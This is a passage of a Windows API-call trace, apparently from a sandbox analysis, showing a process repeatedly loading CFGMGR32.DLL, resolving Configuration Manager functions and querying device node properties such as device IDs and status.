_Dst=0x2dc22fd058, _Src=0x20abba80480, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0202.273] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80488, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0202.273] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80490, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0202.273] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80498, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0202.273] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba804a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0202.273] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba804a8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0202.274] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0202.275] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c570) returned 1 [0202.275] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.275] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.279] malloc (_Size=0x18) returned 0x20abc281ba0 [0202.279] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0202.279] malloc (_Size=0x4) returned 0x20abc286bd0 [0202.279] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286bd0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286bd0, pulLength=0x2dc22fd3f8) returned 0x0 [0202.279] free (_Block=0x20abc286bd0) [0202.279] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x345450fa, dwHighDateTime=0x1d9eb0c)) [0202.279] SetEvent (hEvent=0x248) returned 1 [0202.282] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.282] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.285] malloc (_Size=0x18) returned 0x20abc281e60 [0202.285] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.298] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34591608, dwHighDateTime=0x1d9eb0c)) [0202.299] SetEvent (hEvent=0x248) returned 1 [0202.300] SetEvent (hEvent=0x248) returned 1 [0202.301] free (_Block=0x20abc27cf80) [0202.301] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.301] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34591608, dwHighDateTime=0x1d9eb0c)) [0202.301] SetEvent (hEvent=0x248) returned 1 [0202.302] SetEvent (hEvent=0x248) returned 1 [0202.303] free (_Block=0x20abc27cb20) [0202.303] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.304] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34591608, dwHighDateTime=0x1d9eb0c)) [0202.304] SetEvent (hEvent=0x248) returned 1 [0202.305] SetEvent (hEvent=0x248) returned 1 [0202.305] free (_Block=0x20abc27cb20) [0202.305] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.306] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34591608, dwHighDateTime=0x1d9eb0c)) [0202.306] SetEvent (hEvent=0x248) returned 1 [0202.308] SetEvent (hEvent=0x248) returned 1 [0202.309] free (_Block=0x20abc27cb20) [0202.309] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.503] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34781593, dwHighDateTime=0x1d9eb0c)) [0202.503] SetEvent (hEvent=0x248) returned 1 [0202.506] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.506] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.510] malloc (_Size=0x18) returned 0x20abc2820e0 [0202.510] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x26, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0202.510] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x34781593, dwHighDateTime=0x1d9eb0c)) [0202.511] SetEvent (hEvent=0x248) returned 1 [0202.518] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.518] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.521] malloc (_Size=0x18) returned 0x20abc281ea0 [0202.521] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x26, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0202.521] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x347a7605, dwHighDateTime=0x1d9eb0c)) [0202.522] SetEvent (hEvent=0x248) returned 1 [0202.525] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.525] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.528] malloc (_Size=0x18) returned 0x20abc281be0 [0202.529] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0202.529] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x347a7605, dwHighDateTime=0x1d9eb0c)) [0202.529] SetEvent (hEvent=0x248) returned 1 [0202.534] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.534] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.538] malloc (_Size=0x18) returned 0x20abc281cc0 [0202.538] CM_Get_Device_IDA (in: dnDevInst=0x27, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\UMBUS\\0000") returned 0x0 [0202.539] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x347ce079, dwHighDateTime=0x1d9eb0c)) [0202.539] SetEvent (hEvent=0x248) returned 1 [0202.543] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.543] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.547] malloc (_Size=0x18) returned 0x20abc281e60 [0202.547] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 